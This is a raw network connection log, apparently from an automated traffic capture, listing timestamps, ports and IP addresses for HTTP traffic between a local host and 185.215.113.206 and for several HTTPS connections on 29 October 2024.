Oct 29, 2024 15:27:50.370239973 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.370248079 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.370270014 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.370297909 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.370342970 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.370349884 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.370357037 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.370363951 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.370369911 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.370376110 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.370383978 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.370400906 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.370425940 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.370429039 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.370436907 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.370444059 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.370450974 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.370462894 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.370470047 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.370476007 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.370505095 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.370518923 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.370615005 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.370621920 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.370634079 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.370639086 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.370645046 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.370661974 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.370667934 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.370675087 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.370675087 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.370682955 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.370688915 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.370690107 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.370714903 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.370740891 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.371117115 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.371124983 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.371136904 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.371144056 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.371156931 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.371164083 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.371176004 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.371189117 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.371225119 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.371263027 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.371272087 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.371284008 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.371328115 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.371361017 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.371368885 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.371381998 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.371387959 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.371393919 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.371412039 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.371448040 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.371454954 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.371462107 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.371469021 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.371473074 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.371479988 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.371486902 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.371500015 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.371507883 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.371510029 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.371515036 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.371522903 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.371536970 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.371550083 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.371575117 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.559267998 CET	443	50023	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.578037977 CET	443	50026	18.245.113.126	192.168.2.6
Oct 29, 2024 15:27:50.579001904 CET	50026	443	192.168.2.6	18.245.113.126
Oct 29, 2024 15:27:50.579051971 CET	443	50026	18.245.113.126	192.168.2.6
Oct 29, 2024 15:27:50.579478979 CET	443	50026	18.245.113.126	192.168.2.6
Oct 29, 2024 15:27:50.581149101 CET	50026	443	192.168.2.6	18.245.113.126
Oct 29, 2024 15:27:50.581223965 CET	443	50026	18.245.113.126	192.168.2.6
Oct 29, 2024 15:27:50.581279039 CET	50026	443	192.168.2.6	18.245.113.126
Oct 29, 2024 15:27:50.627325058 CET	443	50026	18.245.113.126	192.168.2.6
Oct 29, 2024 15:27:50.629194021 CET	50026	443	192.168.2.6	18.245.113.126
Oct 29, 2024 15:27:50.629213095 CET	50023	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.634133101 CET	50023	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.634146929 CET	443	50023	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.634558916 CET	443	50025	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.634599924 CET	50023	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.634605885 CET	443	50023	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.637309074 CET	443	50027	23.198.7.183	192.168.2.6
Oct 29, 2024 15:27:50.637375116 CET	50025	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.637387991 CET	443	50025	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.637594938 CET	50027	443	192.168.2.6	23.198.7.183
Oct 29, 2024 15:27:50.637603998 CET	443	50027	23.198.7.183	192.168.2.6
Oct 29, 2024 15:27:50.637846947 CET	50025	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.637851954 CET	443	50025	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.638681889 CET	443	50027	23.198.7.183	192.168.2.6
Oct 29, 2024 15:27:50.638746023 CET	50027	443	192.168.2.6	23.198.7.183
Oct 29, 2024 15:27:50.639100075 CET	50027	443	192.168.2.6	23.198.7.183
Oct 29, 2024 15:27:50.639175892 CET	443	50027	23.198.7.183	192.168.2.6
Oct 29, 2024 15:27:50.639480114 CET	50027	443	192.168.2.6	23.198.7.183
Oct 29, 2024 15:27:50.639492035 CET	443	50027	23.198.7.183	192.168.2.6
Oct 29, 2024 15:27:50.669235945 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.673000097 CET	443	50024	20.42.65.94	192.168.2.6
Oct 29, 2024 15:27:50.673268080 CET	50024	443	192.168.2.6	20.42.65.94
Oct 29, 2024 15:27:50.673279047 CET	443	50024	20.42.65.94	192.168.2.6
Oct 29, 2024 15:27:50.674616098 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.674868107 CET	443	50024	20.42.65.94	192.168.2.6
Oct 29, 2024 15:27:50.674943924 CET	50024	443	192.168.2.6	20.42.65.94
Oct 29, 2024 15:27:50.676007986 CET	50024	443	192.168.2.6	20.42.65.94
Oct 29, 2024 15:27:50.676094055 CET	443	50024	20.42.65.94	192.168.2.6
Oct 29, 2024 15:27:50.676309109 CET	50024	443	192.168.2.6	20.42.65.94
Oct 29, 2024 15:27:50.676316977 CET	443	50024	20.42.65.94	192.168.2.6
Oct 29, 2024 15:27:50.676356077 CET	50024	443	192.168.2.6	20.42.65.94
Oct 29, 2024 15:27:50.676405907 CET	443	50024	20.42.65.94	192.168.2.6
Oct 29, 2024 15:27:50.732002974 CET	50024	443	192.168.2.6	20.42.65.94
Oct 29, 2024 15:27:50.732017040 CET	50027	443	192.168.2.6	23.198.7.183
Oct 29, 2024 15:27:50.760500908 CET	443	50023	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.760588884 CET	443	50023	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.760732889 CET	50023	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.760957003 CET	50023	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.760986090 CET	443	50023	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.761033058 CET	50023	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.761042118 CET	443	50023	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.764229059 CET	50034	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.764276981 CET	443	50034	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.764367104 CET	50034	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.764514923 CET	50034	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.764533043 CET	443	50034	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.765192986 CET	443	50025	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.765252113 CET	443	50025	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.765319109 CET	50025	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.765336990 CET	443	50025	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.765423059 CET	443	50025	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.765456915 CET	50025	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.765500069 CET	443	50025	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.765525103 CET	50025	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.765539885 CET	443	50025	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.767851114 CET	50035	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.767884016 CET	443	50035	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.767982960 CET	50035	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.768122911 CET	50035	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.768138885 CET	443	50035	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.768858910 CET	443	50029	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.769418001 CET	50029	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.769448042 CET	443	50029	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.769968033 CET	50029	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.769974947 CET	443	50029	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.780117035 CET	443	50028	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.780497074 CET	50028	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.780513048 CET	443	50028	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.780992031 CET	50028	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.780996084 CET	443	50028	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.795943022 CET	443	50026	18.245.113.126	192.168.2.6
Oct 29, 2024 15:27:50.796020985 CET	443	50026	18.245.113.126	192.168.2.6
Oct 29, 2024 15:27:50.796761990 CET	50026	443	192.168.2.6	18.245.113.126
Oct 29, 2024 15:27:50.796792030 CET	443	50026	18.245.113.126	192.168.2.6
Oct 29, 2024 15:27:50.796807051 CET	50026	443	192.168.2.6	18.245.113.126
Oct 29, 2024 15:27:50.796855927 CET	50026	443	192.168.2.6	18.245.113.126
Oct 29, 2024 15:27:50.833862066 CET	443	50027	23.198.7.183	192.168.2.6
Oct 29, 2024 15:27:50.833993912 CET	443	50027	23.198.7.183	192.168.2.6
Oct 29, 2024 15:27:50.834100008 CET	50027	443	192.168.2.6	23.198.7.183
Oct 29, 2024 15:27:50.835047007 CET	50027	443	192.168.2.6	23.198.7.183
Oct 29, 2024 15:27:50.835072994 CET	443	50027	23.198.7.183	192.168.2.6
Oct 29, 2024 15:27:50.851675987 CET	443	50024	20.42.65.94	192.168.2.6
Oct 29, 2024 15:27:50.853710890 CET	50024	443	192.168.2.6	20.42.65.94
Oct 29, 2024 15:27:50.854021072 CET	443	50024	20.42.65.94	192.168.2.6
Oct 29, 2024 15:27:50.854134083 CET	50024	443	192.168.2.6	20.42.65.94
Oct 29, 2024 15:27:50.883131981 CET	443	50030	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.883649111 CET	50030	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.883683920 CET	443	50030	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.884191990 CET	50030	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.884196997 CET	443	50030	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.898315907 CET	443	50029	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.898351908 CET	443	50029	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.898408890 CET	50029	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.898415089 CET	443	50029	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.898612976 CET	50029	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.898612976 CET	50029	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.898657084 CET	50029	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.898678064 CET	443	50029	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.901339054 CET	50036	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.901371956 CET	443	50036	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.901472092 CET	50036	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.901645899 CET	50036	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.901659966 CET	443	50036	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.910912991 CET	443	50028	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.911120892 CET	443	50028	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.911223888 CET	50028	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.911250114 CET	50028	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.911263943 CET	443	50028	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.911273956 CET	50028	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.911278009 CET	443	50028	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.913661957 CET	50037	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.913681030 CET	443	50037	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.913769960 CET	50037	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.913886070 CET	50037	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:50.913897991 CET	443	50037	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:50.923196077 CET	50038	443	192.168.2.6	20.42.65.94
Oct 29, 2024 15:27:50.923268080 CET	443	50038	20.42.65.94	192.168.2.6
Oct 29, 2024 15:27:50.924199104 CET	50038	443	192.168.2.6	20.42.65.94
Oct 29, 2024 15:27:50.924585104 CET	50038	443	192.168.2.6	20.42.65.94
Oct 29, 2024 15:27:50.924619913 CET	443	50038	20.42.65.94	192.168.2.6
Oct 29, 2024 15:27:50.950318098 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.950325966 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.950340033 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.950414896 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.950412035 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.950423956 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.950438023 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.950445890 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.950452089 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.950459003 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.950464964 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.950478077 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.950484991 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.950493097 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.950500011 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.950567961 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.950575113 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.950587034 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.950592995 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.950604916 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.950611115 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.950619936 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.950619936 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.950619936 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.950620890 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.950620890 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.950620890 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.950702906 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.950716972 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.950719118 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.950723886 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.950728893 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.950735092 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.950741053 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.950750113 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.950762033 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.950823069 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.950860977 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.950867891 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.950874090 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.950880051 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.950915098 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.950921059 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.950927973 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.950933933 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.950939894 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.950947046 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.950953960 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.950959921 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.950965881 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.950965881 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.950965881 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.950975895 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951005936 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.951005936 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.951049089 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.951056004 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951100111 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.951214075 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951227903 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951234102 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951240063 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951246023 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951251984 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951263905 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951287985 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951296091 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951317072 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951323986 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.951323986 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.951324940 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951333046 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951339006 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951342106 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.951342106 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.951348066 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951355934 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951383114 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951391935 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951395035 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951400995 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951416969 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951423883 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.951423883 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951423883 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.951423883 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.951433897 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951443911 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.951450109 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951461077 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951474905 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951483011 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951487064 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.951498032 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951499939 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.951500893 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951514959 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951519012 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.951548100 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.951572895 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.951586008 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951597929 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951606989 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951616049 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951622009 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951634884 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951643944 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951652050 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951658010 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951663971 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951663971 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.951673985 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951682091 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951690912 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951695919 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951702118 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951710939 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951719046 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951729059 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951735020 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.951790094 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.951927900 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951935053 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951946974 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951955080 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951968908 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951975107 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951981068 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951981068 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.951992989 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.951997042 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.951999903 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.952008009 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.952017069 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.952020884 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.952028990 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.952032089 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.952039957 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.952047110 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.952060938 CET	49940	80	192.168.2.6	185.215.113.206
